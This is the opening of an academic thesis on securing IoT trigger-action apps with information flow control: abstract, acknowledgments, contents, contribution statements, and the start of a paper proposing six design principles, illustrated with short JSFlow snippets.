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Abstract

IoT apps are becoming increasingly popular as they allow users to man-
age their digital lives by connecting otherwise unconnected devices and ser-
vices: cyberphysical “things” such as smart homes, cars, or �tness armbands,
to online services such as Google or Dropbox, to social networks such as
Facebook or Twitter. IoT apps rely on end-user programming, such that any-
one with an active account on the platform can create and publish apps, with
the majority of apps being created by third parties.

We demonstrate that the most popular IoT app platforms are susceptible
to attacks by malicious app makers and suggest short and longterm counter-
measures for securing the apps. For short-term protection we rely on access
control and suggest the apps to be classi�ed either as exclusively private or
exclusively public, disallowing in this way information from private sources
to �ow to public sinks.

For longterm protection we rely on a principled approach for designing
information �ow controls. Following these principles we de�ne projected
security, a variant of noninterference that captures the attacker’s view of an
app, and design two mechanisms for enforcing it. A static enforcement based
on a �ow-sensitive type system may be used by the platform to statically an-
alyze the apps before being published on the app store. This enforcement
covers leaks stemming from both explicit and implicit �ows, but is not ex-
pressive enough to address timing attacks. Hence we design a second en-
forcement based on a dynamic monitor that covers the timing channels as
well.

Keywords: information �ow control, Internet of Things, IoT apps, design
principles

iii





Acknowledgments

First, I would like to thank my supervisor Andrei for giving me this in-
credible opportunity to be part of his group, for his guidance and support,
and for constantly pushing me out of my comfort zone. Spasibo!

I am grateful to Dave, Gerardo, and Wolfgang for their help in the past
year and for interesting discussions about books, movies, or teaching.

Several people have made my transition to this new environment smoother
and my stay here more enjoyable. Thank you all! Elena, for being the best
buddy student one can have; Georgia, for reminding me that there are other
great things out there; Thomas, for adding a bit of re�nement to my world;
Daniel and Evgenii, for bringing reason to my sometimes emotion-grounded
arguments; Alexander and Je�, for making the work space a fun space; Max,
for teaching me not to care so much sometimes.

To others, new and old, past and present: Alejandro, Benjamin, Carlo,
Danielito, Elisabet, Hamid, Marco, Mauricio, Musard, Sandro, Simon, Sólrún,
Steven and others, thank you for making (and having made) Chalmers such
a welcoming and friendly environment.

My deepest gratitude is directed towards my family, for giving me strength
and for making me who I am today.

Last, but not least, a special token of appreciation goes to Tomas, for
always believing in me. Ya lyublyu tebya!

v





Contents

Introduction 1

Bibliography 9

1 Prudent Design Principles for Information Flow Control 13
1.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
1.2 Design principles . . . . . . . . . . . . . . . . . . . . . . . . 16
1.3 Related work . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
1.4 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Bibliography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

2 If This Then What? Controlling Flows in IoT Apps 37
2.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.2 IFTTT platform and attacker model . . . . . . . . . . . . . . 43
2.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

2.3.1 Privacy . . . . . . . . . . . . . . . . . . . . . . . . . 45
2.3.2 Integrity . . . . . . . . . . . . . . . . . . . . . . . . . 47
2.3.3 Availability . . . . . . . . . . . . . . . . . . . . . . . 48
2.3.4 Other IoT platforms . . . . . . . . . . . . . . . . . . 49
2.3.5 Brute forcing short URLs . . . . . . . . . . . . . . . . 49

2.4 Measurements . . . . . . . . . . . . . . . . . . . . . . . . . . 50
2.4.1 Dataset and methodology . . . . . . . . . . . . . . . 50
2.4.2 Classifying triggers and actions . . . . . . . . . . . . 51
2.4.3 Analyzing IFTTT applets . . . . . . . . . . . . . . . 54

2.5 Countermeasures: breaking the �ow . . . . . . . . . . . . . . 56
2.5.1 Per-applet access control . . . . . . . . . . . . . . . . 56
2.5.2 Authenticated communication . . . . . . . . . . . . . 57
2.5.3 Unavoidable public URLs . . . . . . . . . . . . . . . . 58

2.6 Countermeasures: Tracking the �ow . . . . . . . . . . . . . 58
2.6.1 Types of �ow . . . . . . . . . . . . . . . . . . . . . . 59

vii



Contents

2.6.2 Formal model . . . . . . . . . . . . . . . . . . . . . . 60
2.6.3 Soundness . . . . . . . . . . . . . . . . . . . . . . . . 66

2.7 FlowIT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
2.7.1 Implementation . . . . . . . . . . . . . . . . . . . . . 67
2.7.2 Evaluation . . . . . . . . . . . . . . . . . . . . . . . . 69

2.8 Related work . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
2.9 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Bibliography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Appendix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
2.A Semantic rules . . . . . . . . . . . . . . . . . . . . . . . . . . 81
2.B Soundness . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82

3 Tracking Information Flow via Delayed Output:
Addressing Privacy in IoT and Emailing Apps 89
3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
3.2 Privacy leaks . . . . . . . . . . . . . . . . . . . . . . . . . . . 94

3.2.1 IFTTT . . . . . . . . . . . . . . . . . . . . . . . . . . 94
3.2.2 MailChimp . . . . . . . . . . . . . . . . . . . . . . . 95
3.2.3 Impact . . . . . . . . . . . . . . . . . . . . . . . . . . 96

3.3 Tracking information �ow via delayed output . . . . . . . . 97
3.4 Security model . . . . . . . . . . . . . . . . . . . . . . . . . . 98

3.4.1 Semantic model . . . . . . . . . . . . . . . . . . . . . 98
3.4.2 Preliminaries . . . . . . . . . . . . . . . . . . . . . . 100
3.4.3 Projected noninterference . . . . . . . . . . . . . . . 102
3.4.4 Projected weak secrecy . . . . . . . . . . . . . . . . . 102

3.5 Security enforcement . . . . . . . . . . . . . . . . . . . . . . 103
3.5.1 Information �ow control . . . . . . . . . . . . . . . . 104
3.5.2 Discussion . . . . . . . . . . . . . . . . . . . . . . . . 107
3.5.3 Taint tracking . . . . . . . . . . . . . . . . . . . . . . 107

3.6 Related work . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
3.7 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110
Bibliography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Appendix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
3.A Information �ow control . . . . . . . . . . . . . . . . . . . . 115
3.B Taint-tracking . . . . . . . . . . . . . . . . . . . . . . . . . . 118

viii



Introduction

Motivation

By their nature, IoT apps have access to a diverse set of user sensitive in-
formation: location, �tness data, private feed from social networks, private
documents, or private images. Other IoT apps are given sensitive controls
over burglary alarms, thermostats, or baby monitors. In addition, the apps
rely on end-user programming, such that anyone can create and publish IoT
apps, with the majority of apps being created by third parties. With the in-
crease in popularity of IoT apps, concerns have been raised about keeping
user information private or assuring the integrity and availability of data ma-
nipulated by the apps. These concerns are not unfounded, as we demonstrate
the most popular IoT app platforms to be vulnerable to attacks by malicious
app makers.

Background

Starting in 1982 with a single Internet-connected appliance—a drinks vend-
ing machine that was only able to report its inventory [39]—the number of
IoT devices increased to 8.4 billion in 2017 [16], with, e.g., smart locks, virtual
assistants, home appliances, emergency noti�cation systems, or surveillance
systems that perform more complex tasks and from longer distances. The
number of IoT devices is estimated to grow to 30 billion by 2020 [31].

IoT stands for Internet of Things and, as the name suggests, it de�nes a
network of diverse physical devices embedded amongst others with electron-
ics, software, and sensors that allow for interconnections and data exchange.
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Introduction

Figure 1: IoT app platform (simpli�ed)

IoT system architecture IoT systems are used for performing a wide range
of tasks, from simple ones that control light switches based on motion, to
more complex ones that assist in transportation systems. However sophisti-
cated the task to be performed is, the structure of an IoT system is roughly the
same. It mainly comprises devices, connectivity protocols, and programming
platforms.

Devices are equipped with sensors, which collect data and send events
to other devices, the hub or the cloud, and actuators, which process these
events and allow the devices to perform an action. For example, when a pres-
ence sensor detects movement, it communicates with a switch, in this case
the actuator, which will turn on the light. Gateways connect devices with
the cloud, while cloud gateways ensure secure communication between the
two. Cloud gateways are also responsible for the communication protocols
between heterogeneous devices. IoT programming platforms provide users
with applications that allow them to monitor and control their devices.

IoT app platforms Provider-speci�c programming platforms abound on
the market: Android Things [4] and Google Fit [19] (from Google), Home-
Kit [5] (from Apple), SmartThings [34] (from Samsung), or AWS IoT [3] (from
Amazon) are just few examples. Other platforms allow building automations
that connect devices and services originating from di�erent providers, with
IFTTT [25], Zapier [42], and Microsoft Flow [28] being the most popular IoT
platforms of this kind.

All platforms o�er web-based environments and tools (with some pro-
viding smartphone clients as well) that enable creating custom automations,
referred to as applications or apps. Most platforms allow not only the ser-
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vice providers, but also both experienced developers and uninitiated users to
create such apps, with the majority of IoT apps being created by third par-
ties. Each platform provides (potentially) a di�erent language for specifying
these apps (e.g., JavaScript for IFTTT [26] and Zapier [43], Python for Za-
pier [44], or Groovy for SmartThings [36]) and uses (potentially) a di�erent
environment for executing them (e.g., the cloud for IFTTT [26] or a local
hub for SmartThings [35]). Additionally, for performance and security rea-
sons, some IoT platforms execute the apps in a sandbox (e.g., IFTTT [26],
Zapier [43, 44], or SmartThings [37]).

IoT apps rely on a trigger-action paradigm: when an event takes place
(the trigger), such as “Carbon monoxide emergency”, another event is pro-
duced (the action), such as “Turn on the lights”. Platforms allow for speci-
fying JavaScript, Python, or Groovy code, depending on the case, for action
re�nement, such as “to red color”. This re�nement is optional, e.g., on IFTTT
and Zapier platforms.

Figure 2: App view on
IFTTT platform

IoT platforms provide automations beyond
physical environments, with online services
such as Google and Dropbox, or social net-
works such as Facebook and Twitter, added to
the equation (Fig. 1). Any combination between
“things”, online services, and social networks is
possible. Figure 2 displays an (IFTTT) app that
uploads any new iOS photo taken by the user
to their Google Drive.

Before installing an app, users can see what
triggers and actions the given app may use, e.g.,
trigger “Any new photo” and action “Upload �le
from URL” for app in Fig. 2. To be able to run the
app, users need to provide their credentials to
the services associated with its triggers and ac-
tions, e.g., iOS Photos and Google Drive for app
in Fig. 2. The user can also see the app maker
and the number of installs, e.g., third party user
alexander and 99k installs for app in Fig. 2.

IoT platforms incorporate a basic form of
access control. The users explicitly allow the
app to access their trigger data (e.g., their iOS
photos), but only to be used by the action service (e.g., by their Google Drive).
In order to achieve this, app code is heavily sandboxed by design, with no
blocking or I/O capabilities and access only to APIs pertaining to the services

3



Introduction

used by the app.

IoT security and privacy While IoT advertises better safety, improved en-
ergy and manufacturing e�ciency, enhanced health care and crop manage-
ment, or automation of mundane tasks, concerns about user security and
privacy in the IoT ecosystem have been voiced.

In order to provide the user with the expected functionality, IoT apps
have access not only to physical functions, which when exploited may lead
to safety and security issues, but also to user sensitive data, which when
leaked may cause privacy issues. Abusing the smart lock to unlock the door
when the user is not at home, or the thermostat to increase the heat to cause
the windows to open are a couple of examples of security risks the user may
be exposed to. Also, access to data provided by heart rate monitors or smart
meters may reveal to unauthorized parties information about the consumer’s
health, or behavioral patterns and what type of home appliances the con-
sumer is using and when [32].

A�ack vectors Unfortunately, these concerns are not entirely unfounded.
Recent studies have revealed several vulnerabilities [11, 14, 15, 22, 38, 41]
and demonstrated attacks [8, 27] and privacy abuses in IoT devices and on
IoT platforms [17].

An infamous example of vendor access privilege abuse is represented by
the Xiaomi Mi Robot vacuum cleaner. A recent study [17] revealed the vac-
uum cleaner was uploading to the cloud not only the names and passwords
of the WiFi networks to which the vacuum cleaner connected to, but also
the maps of the rooms it cleaned in. Judging by the size of the rooms, infor-
mation about the user’s wealth and social status could be inferred. Pairing
with location information (possibly) collected from the user’s smartphone via
the recommended app, the precise geolocation of the user could be learned.
Moreover, since the stored data is never deleted from the cloud, not even af-
ter a factory reset, somebody buying a used Xiaomi vacuum cleaner could
also get access to the information about previous usages and owners.

Other threat models in IoT focus on ‘external’ attackers, i.e. di�erent from
the vendor. For example, at the hardware level, an attacker can manipulate
the IoT device during the fabrication time to maintain the privilege bit of the
processor to a target value [41]. At the software level, the range of vulnerabil-
ities and attacks is larger and of more interest. With respect to access control
vulnerabilities we have evidence of inappropriate design of granularity in ac-
cess control on the SmartThings platform [14], over-privileged OAuth tokens
on IoT platforms [15], (potentially) illegal intra-�ows between di�erent IoT
apps [38], limitations of access control and authentication models for Home
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IoT [22], or untrusted code accessing sensitive sources [22]. Privacy viola-
tions in IoT apps [11], CSRF attacks in IFTTT [27], or programming errors
in rule-based smart homes [30] augment the list.

Contributions

In the abundance of threat models in IoT one aspect has been largely over-
looked by previous research: the actual inter-�ows emitted by the apps and
the capabilities of a malicious app maker to ex�ltrate user private data.

In this work, we demonstrate that apps may leak user data via URL-based
attacks by malicious app makers. To prevent such attacks, we propose short
and longterm countermeasures. For short-term protection we rely on access
control and suggest the apps to be classi�ed either as exclusively private or
exclusively public, disallowing in this way information from private sources
to �ow to public sinks. This approach is backward-compatible with the cur-
rent model of IoT platforms. For longterm protection and for securing more
complex apps that allow for queries or multiple sources and sinks, we suggest
tracking the information �ows in IoT apps.

Design principles for IFC Information �ow control (IFC) tracks the data
�ows in a system and prevents those �ows from sensitive sources to public
sinks. The policy enforcing this restriction is usually referred to as noninter-
ference [18] and the literature abounds with di�erent variants for it [2, 6, 7,
21, 33, 40] and with as many di�erent enforcement mechanisms [12, 13, 20,
24, 29, 40].

The myriad of existing models and security conditions do not fully cover
the privacy concerns raised by the �ows in IoT apps and the URL-based at-
tacks. Thus, we require a principled approach for choosing the right security
characterization and for selecting the right enforcement mechanism for it.

In this regard, inspired by the seminal work of Abadi and Needham on
prudent engineering practice for cryptographic protocols [1], we outline six
principles [9] to assist the security designer in tailoring information �ow con-
trols for a new application domain, such as intra-�ows in IoT apps. Two core
principles—attacker-driven security and trust-aware enforcement—refer to
properly de�ning the attacker model and the trusting computing base. Other
four principles are secondary and tightly connected to the core principles:
separation of policy annotations and code, language-independent security
condition and enforcement, justi�ed abstraction when de�ning the attacker,
and permissiveness of enforcement mechanism.

Projected security and enforcement mechanisms Applying these prin-
ciples when securing IoT apps against the URL-based attacks, we de�ne pro-

5



Introduction

jected security, a variant of noninterference that takes into account the at-
tacker’s view of an app, and we design enforcement mechanisms that prov-
ably enforce this condition [8, 10].

Envisioning a platform where the IoT apps are statically analyzed for se-
curity before being published, we design a �ow-sensitive type system that
enforces projected noninterference [10]. The type system can track both ex-
plicit and implicit �ows and it can be trivially extended to cover presence
channels, but it cannot handle information leaks via the timing channel. To
capture these �ows, we design a dynamic monitor [8] and implement it as
an extension of JSFlow [23], an information �ow tracker for JavaScript.

Thesis structure

Paper 1: Prudent Design Principles for Information Flow Control [9]

This short paper aims to systematize and structure the plethora of security
characterizations and enforcement mechanisms in the literature to assist a
security designer when designing information �ow controls for new appli-
cation domains. In this regard, we introduce six design principles. Two
main principles roughly refer to de�ning the attacker model and the trust-
ing computing base: attacker-driven security and trust-aware enforcement.
The other four principles are in close connection to the main ones, and refer
to separation of policy annotations and code, language-independent security
condition and enforcement, justi�ed abstraction when de�ning the attacker,
and permissiveness of enforcement mechanism.

Statement of contributions This paper was in collaboration with Frank
Piessens and Andrei Sabelfeld. Iulia was responsible with �ashing out the
principles and illustrating them with concrete examples in JSFlow.

Appeared in: Proceedings of the 13th Workshop on Programming Languages
and Analysis for Security (PLAS 2018), Toronto, Canada, October 2018.

Paper 2: If This Then What? Controlling Flows in IoT Apps [8]

This paper demonstrates a new class of vulnerabilities on popular IoT app
platforms (IFTTT, Zapier, and Microsoft Flow), this time with the attacker
assumed to be a malicious app maker. In order to estimate the impact of the
possible attacks, we conduct an empirical study on a set of roughly 300 000
IFTTT apps. We �nd that 30% of the existing apps may not only violate
privacy, but also do it invisibly to its users.
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One protection mechanism we suggest is based on access control and it
disallows �ows from private sources to public sinks by classifying the apps
either as exclusively public or exclusively private. A second protection mech-
anism based on information �ow control (IFC) covers in addition apps with
more complex functionality that deal with �ows from several sources and to
several sinks.

We implement the latter mechanism as a dynamic monitor that extends
JSFlow, a taint tracker for JavaScript, and prove its soundness. We then eval-
uate the monitor on a set of 60 apps, 30 secure and 30 insecure. We obtain no
false negatives and a single false positive on ‘arti�cially’-constructed code,
proving that IFC is a suitable enforcement mechanism for securing IoT apps.

Statement of contributions This paper was in collaboration with Musard
Balliu and Andrei Sabelfeld. Iulia was responsible for designing the seman-
tics of the dynamic monitor, proving its soundness, implementing it as an
extension of JSFlow, and evaluating it.

Appeared in: Proceedings of the 2018 ACM SIGSAC Conference on Computer
and Communications Security (CCS 2018), Toronto, Canada, October 2018.

Paper 3: Tracking Information Flow via Delayed Output: Addressing

Privacy in IoT and Emailing Apps [10]

This paper focuses on tracking information �ow in the presence of delayed
output in two scenarios with di�erent levels of trust in the computing base:
IoT apps and email campaigns. Delayed output is structured output in a
markup language generated by a service and subsequently processed by a
di�erent service. For example, in the case of HTML, the output is generated
by a webserver and later processed by browsers or email readers.

Both IoT apps and email campaigns are vulnerable to ex�ltrations via de-
layed output, with the distinction that IoT apps can be written by endusers
and are potentially malicious, while email campaigns are written by the ser-
vice providers and are non-malicious, but potentially buggy. We develop
a formal framework to reason about secure information �ow with delayed
output in both settings and design static enforcement mechanisms based on
type systems. The enforcement for malicious code entails a type system that
tracks both explicit and implicit �ows, while the type system for the non-
malicious code only tracks (explicit) data �ows. Both type systems are for-
mally proven to be sound.

Statement of contributions This paper was in collaboration with Frank
Piessens and Andrei Sabelfeld. Iulia was responsible with designing the type
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systems and proving their soundness, and for verifying the ex�ltrations via
delayed output on other platforms.

To appear in: The 23rd Nordic Conference on Secure IT Systems (NordSec 2018),
Oslo, Norway, November 2018.
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A
bstract. Recent years have seen a proliferation of research on

information �ow control. While the progress has been tremen-
dous, it has also given birth to a bewildering breed of concepts, poli-
cies, conditions, and enforcement mechanisms. Thus, when designing
information �ow controls for a new application domain, the designer
is confronted with two basic questions: (i) What is the right security
characterization for a new application domain? and (ii) What is the
right enforcement mechanism for a new application domain?

This paper puts forward six informal principles for designing informa-
tion �ow security de�nitions and enforcement mechanisms: attacker-
driven security, trust-aware enforcement, separation of policy annotations
and code, language-independence, justi�ed abstraction, and permissive-
ness. We particularly highlight the core principles of attacker-driven
security and trust-aware enforcement, giving us a rationale for delib-
erating over soundness vs. soundiness. The principles contribute to
roadmapping the state of the art in information �ow security, weed-
ing out inconsistencies from the folklore, and providing a rationale for
designing information �ow characterizations and enforcement mecha-
nisms for new application domains.





1.1 Introduction

Information �ow control tracks the �ow of information in systems. It accom-
modates both con�dentiality, when tracking information from secret sources
(inputs) to public sinks (outputs), and integrity, when tracking information
from untrusted sources to trusted sinks.

Motivation Recent years have seen a proliferation of research on infor-
mation �ow control [16, 17, 19, 39, 49, 55, 67, 70, 72, 73], leading to ap-
plications in a wide range of areas including hardware [8], operating sys-
tem microkernels [59] and virtualization platforms [32], programming lan-
guages [36, 37], mobile operating systems [44], web browsers [12, 43], web
applications [13, 45], and distributed systems [50]. A recent special issue of
Journal of Computer Security on veri�ed information �ow [60] re�ects an
active state of the art.

While the progress has been tremendous, it has also given birth to a be-
wildering breed of concepts, policies, conditions, and enforcement mecha-
nisms. These are often unconnected and ad-hoc, making it di�cult to build
on when developing new approaches. Thus, when designing information
�ow controls for a new application domain, the designer is confronted with
two basic questions, for which there is no standard recipe in the literature.

Question 1. What is the right security characterization for a new application
domain?

A number of information �ow conditions has been proposed in the liter-
ature. For con�dentiality, noninterference [22, 28], is a commonly advocated
baseline condition stipulating that secret inputs do not a�ect public out-
puts. Yet noninterference comes in di�erent styles and �avors: termination-
(in)sensitive [67, 79], progress-(in)sensitive [3], and timing-sensitive [2], just
to name a few. Other characterizations include epistemic [4, 35], quantita-
tive [73], and conditions of information release [70], as well as weak [78],
explicit [71], and observable [9] secrecy. Further, compositional security con-
ditions [53, 61, 69] are often advocated, adding to the complexity of choosing
the right characterization.
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1. Prudent Design Principles for Information Flow Control

Question 2. What is the right enforcement mechanism for a new application
domain?

The designer might struggle to select from the variety of mechanisms
available. Information �ow enforcement mechanisms have also been pro-
posed in various styles and �avors, including static [20, 23, 79], dynamic [25,
26, 33], hybrid [14, 58], �ow-(in)sensitive [41, 65], and language-(in)depen-
dent [11, 24]. Further, some track pure data �ows [72] whereas others also
track control �ow dependencies [67], adding to the complexity of choosing the
right enforcement mechanism.

Contributions This paper puts forward principles for designing informa-
tion �ow security de�nitions and enforcement mechanisms. The goal of the
principles is to help roadmapping the state of the art in information �ow
security, weeding out inconsistencies from the folklore, and providing a ra-
tionale for designing information �ow characterizations and mechanisms for
new application domains.

The rationale rests on the following principles: attacker-driven security,
trust-aware enforcement, separation of policy annotations and code, language-
independence, justi�ed abstraction, and permissiveness.

Scope Given the area’s maturity, this work is deliberately not a literature
survey. There are several excellent surveys overviewing di�erent aspects of
information �ow security [16, 17, 19, 39, 49, 55, 67, 70, 72, 73], further dis-
cussed in Section 1.3. Rather, we seek to empower information �ow control
mechanism designers by illuminating key principles we believe are impor-
tant when designing new mechanisms.

1.2 Design principles

We begin by presenting two core principles: attacker-driven security and
trust-aware enforcement, followed by four additional principles. The core
principles can be viewed as instantiations of the two broader principles on
“de�ning threat models” and “de�ning the trusted computing base” [48, 56].
The instantiation to information �ow control is non-trivially di�erent from
instantiations in other security areas, in particular in the case where trusted
annotations are required on untrusted code.

Principle 1 (Attacker-driven security). Security characteriza-
tions bene�t from directly connecting to a behavioral attacker
model, expressing (un)desirable behaviors in terms of system
events that attackers can observe and trigger.
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From enforcement for
untrusted code. . .

• Information �ow control
• Secure multi-execution
• Blackbox mitigation
• Observable tracking
• Taint tracking
. . . to trusted

===⇒

Veri�cation conditions
• Compositional
• Invariants
• Unwinding conditions
• . . .

===⇒

From attacker-driven security. . .
• Noninterference
• Epistemic
• Quantitative
• Declassi�cation
• Termination-insensitive
• Progress-insensitive
• Observable secrecy
•Weak/explicit secrecy
. . . to soundiness

perm
issiveness

−−−−−−−−−−−−−−−→

security
←
−−−−−−−−−−−−−−−−−−−−

Figure 1.1: Bird’s-eye view: enforcement, veri�cation conditions, and secu-
rity characterizations

Key to this principle is a faithful attacker model, representing what events
the attacker can observe and trigger. Focusing on attacker-driven security
enables a systematic way to view the rich area of information �ow char-
acterizations. Figure 1.1 depicts a bird’s-eye view. The common attacker-
driven conditions, such as the above-mentioned noninterference [22, 28] and
epistemic security [4, 35], appear on the upper right. For systems that in-
teract with an outside environment, it is important to model input/output
behavior and its security implications. In this space, attacker-driven secu-
rity is captured by so-called progress-sensitive security [57, 63, 64], in con-
trast to progress-insensitive security [3] that ignores leaks due to computation
progress.

Throughout the paper, we will leverage the JSFlow [38] tool to illustrate
the principles on JavaScript code fragments. We use high and low labels for
secret and public data, respectively. JSFlow is a JavaScript interpreter that
tracks information �ow labels. JSFlow constructor lbl is used for assigning
a high label to a value. As is common, JSFlow accommodates information
release via declassi�cation [70]. Primitive declassify is used for declassifying
a value from high to low. Primitive print is used for output. We consider
print statements to be public.

Example 1.1 (Based on Program 2 [3]).
i = 0;
while (i < Number.MAX_VALUE) {
print(i);
if (i == secret) { while (true) {} }
i = i + 1;

}
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In the above example, if the attacker is assumed to be able to observe the in-
termediate outputs of the computation, then the program is progress-sensitive
insecure, otherwise is progress-insensitive secure. As JSFlow enforces progress-
insensitive noninterference, it will accept the program.

Attacker-driven security is also represented by relaxations of noninter-
ference to quantitative information �ow [73] and information release [70],
capturing scenarios of intended information release.

Example 1.2 (Simple password checking [70]).
guess = lbl(getUserInput());
result = declassify(guess == pwd);

The above example checks whether the user input retrieved via function
getUserInput() matches the stored password pwd. The user input and vari-
able pwd are assumed to be high, and result to be low, as an attacker should
be only allowed to learn whether the user’s guess matches the stored pass-
word, but not the actual guess, nor the actual password.

When the attacker model combines con�dentiality and integrity, their
interplay requires careful treatment. For example, the goal of robust declas-
si�cation [83] is to prevent untrusted data from a�ecting declassi�cation de-
cisions.

Further relaxations of noninterference bring us to soundiness, inspired
by a recent movement in the program analysis community. In their mani-
festo, Livshits et al. advocate soundiness [51] of program analysis, arguing
that it is virtually impossible to establish soundness for practical whole pro-
gram analysis. While soundiness breaks soundness, its goal is to explain and
limit the implications of unsoundness.

In this sense, popular relaxations of noninterference like termination-in-
sensitive [33, 79] and progress-insensitive [3] noninterference are soundi-
ness. Termination- and progress-insensitive conditions are often used to
justify permissive handling of loops that branch on secrets by enforcement.
However, this justi�cation alone would exclude these conditions from being
attacker-driven, unless the impact of unsoundness with respect to a behav-
ioral attacker is characterized. Indeed, limiting implications of unsoundness
for these conditions have been studied, e.g., by giving quantitative bounds
on how much is leaked via the termination and progress channels [3].

The conditions of observable [9], weak [78], and explicit [71] secrecy are
depicted in the lower right of Figure 1.1. These conditions are fundamentally
di�erent from attacker-driven de�nitions, clearly falling into the category
of soundiness. Rather than characterizing an attacker, they are tailored to
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describe properties of enforcement, catering to mechanisms like taint track-
ing [72], pure data dependency analysis that ignores leaks due to control �ow,
and its enhancements with so-called observable [9] implicit �ow checks.

Finally, in contrast to attacker-driven de�nitions, we distinguish veri�ca-
tion conditions, such as those provided by compositional security [53, 61, 69],
invariants [62], and unwinding conditions [29]. We bring up veri�cation
conditions in order to point out that they are not suitable to be used as def-
initions of security. Indeed, while compositionality is essential for scaling
the reasoning about security enforcement [48, 52], compositionality per se is
inconsequential for characterizing security against a concrete attacker [39].
We thus argue that it is valuable to aim at compositional veri�cation con-
ditions, as long as they are su�cient for implying security against a clearly
speci�ed attacker-driven characterization. The veri�cation conditions are
depicted in the middle of the �gure. The arrows between the boxes illustrate
logical implication, from enforcement to veri�cation conditions (justifying
the usefulness of veri�cation conditions) and from veri�cation conditions to
security conditions (justifying the soundness of the veri�cation conditions).

Principle 2 (Trust-aware security enforcement). Security en-
forcement bene�ts from explicit trust assumptions, making clear
the boundary between trusted and untrusted computing base
and guiding the enforcement design in accord.

Figure 1.1 illustrates this principle by listing the di�erent enforcement
mechanisms in the order of what code it is suitable for: from untrusted to
trusted. This order loosely aligns untrusted code with attacker-driven secu-
rity and trusted code with soundiness. The rationale is that security enforce-
ment for untrusted code needs to cover �ows with respect to a given attacker-
driven security, as the attacker has control over which �ows to try to exploit.
In contrast, trusted code can be harder to exploit. For example, in a scenario
of injection attacks on a web server, the code is trusted while user-provided
inputs are not. In this scenario, taint tracking is often su�cient, because the
code does not contain malicious patterns that exploit control �ows to mount
attacks [72]. In other scenarios with trusted code, it is possible to establish
security by a lightweight combination of an explicit-�ow and graph-pattern
analyses [66]. Overall, the permissiveness of mechanisms increases with the
degree of trust to the code.

Trade-o�s between taint tracking and fully-�edged information �ow con-
trol have been subject to empirical studies [46]. The middle ground between
tracking explicit and some implicit �ows has been explored in implementa-
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tions [9, 77] and formalizations [9] via observable tracking [9] that disregards
control �ows in the branches that are not taken by a monitoring mechanism.

Example 1.3 (Based on Program 3 [9]).
l = true;
k = true;
if (h) { l = false; }
if (l) { k = false; }
print(42);

While the above example encodes the value of high variable h into variable
k through observable implicit �ows, the program is accepted by observable
tracking, as k is never output, but rejected by fully-�edged information �ow
control. If h is true, JSFlow blocks the execution of the program, but accepts
it otherwise.

While the permissiveness of mechanisms generally increases with the de-
gree of trust to the code, there is need for a systematic approach on choosing
the right enforcement. We bring up two important aspects: (i) considerations
of integrity and (ii) terminology inconsistencies.

For the integrity aspect, some literature doubts the importance of im-
plicit �ows for integrity. For example, Haack et al. suggest that “somehow
implicit �ows seem to be less of an issue for integrity requirements” [34]. To
understand the root of the problem, it is fruitful to consider that integrity
has di�erent facets: integrity via invariance and via information �ow [18].
The former is generally about safety properties, from data and predicate in-
variance to program correctness. It is often su�cient to enforce this facet
of integrity with invariant checks and/or taint tracking (e.g., ensuring that
tainted data has been sanitized before output). On the other hand, the latter
is dual to con�dentiality. Thus, implicit �ows cannot be ignored for the in-
formation �ow facet of integrity. Examples of implicit �ows that matter for
integrity (and forms of availability) are the inputs of coma [21] and crashed
regular expression matching [80], where trusted code is fed untrusted inputs
with the goal of corrupting the execution.

Interestingly, tainting and information �ow tracking are sometimes used
interchangeably in the literature, making it unclear what type of dependen-
cies is actually tracked. For example, “information �ow” approaches to An-
droid app security are often taint trackers that do not track implicit �ows [20,
25, 30]. Conversely a “taint tracker” for JavaScript is actually a mechanism
that also tracks observable implicit �ows [77]. In this paper, we distinguish
between fully-�edged information �ow tracking of both explicit and implicit
�ows versus taint tracking that only tracks explicit �ows.
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Trust-aware enforcement accommodates systematic selection of enforce-
ment. Trusted, non-malicious, code with potentially untrusted inputs can be
subject to vulnerability detection techniques like taint tracking. Untrusted,
potentially malicious code, is subject to a more powerful analysis that takes
into account attacker capabilities in a given runtime environment. Other
considerations, like particular trust assumptions of a target domain and whe-
ther enforcement is decentralized, further a�ect the choice of trust-aware
enforcement.

We discuss further prudent principles of general �avor, from the perspec-
tive of applying them to information �ow control.

Principle 3 (Separation of policy annotations and code). Secu-
rity policy annotations and code bene�t from clear separation,
especially when the policy is trusted and code is untrusted.

This principle governs syntactic policies as expressed by developers for
a given program in terms of security labels, declassi�cation annotations, and
similar. We illustrate this principle on policies for information release, or
declassi�cation, using dimensions of declassi�cation, with respect to what
information is declassi�ed, where (in the code), when (at what point of exe-
cution) and by whom (by what principal) [70].

The where dimension of declassi�cation is concerned with policies that
limit information release to specially marked locations in code (with declas-
si�cation annotations). The principle implies that code annotated with de-
classi�cation policies (e.g., [4, 10]) cannot be part of purely untrusted code,
where the attacker can abuse annotations to release more information than
intended.

If code of Example 1.2 were untrusted, an attacker could place the declas-
si�cation annotation on the password pwd, and not on the result of equating
pwd with the user input:

Example 1.4.
result = declassify(pwd);

In a case like this, there is need to strengthen declassi�cation policies
with other dimensions, such as what, when, and by whom, all speci�ed sep-
arately from untrusted code.

Other cases such as delimited release [68] specify an external security
policy via “escape hatches”, separating policy from code. At the same time,
type systems for delimited release [68] can still allow declassify statements
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inside the syntax to help the program analysis accept the code. Programs
with overly liberal declassi�cation statements will be then rejected, as they
are unsound with respect to external escape hatches. Since release of infor-
mation is allowed only through the escape hatch expressions mentioned in
the policy, declassi�cations as in Example 1.5 are accepted, while declassi�ca-
tions as in Examples 1.4 and 1.6 are not. JSFlow will accept all three snippets,
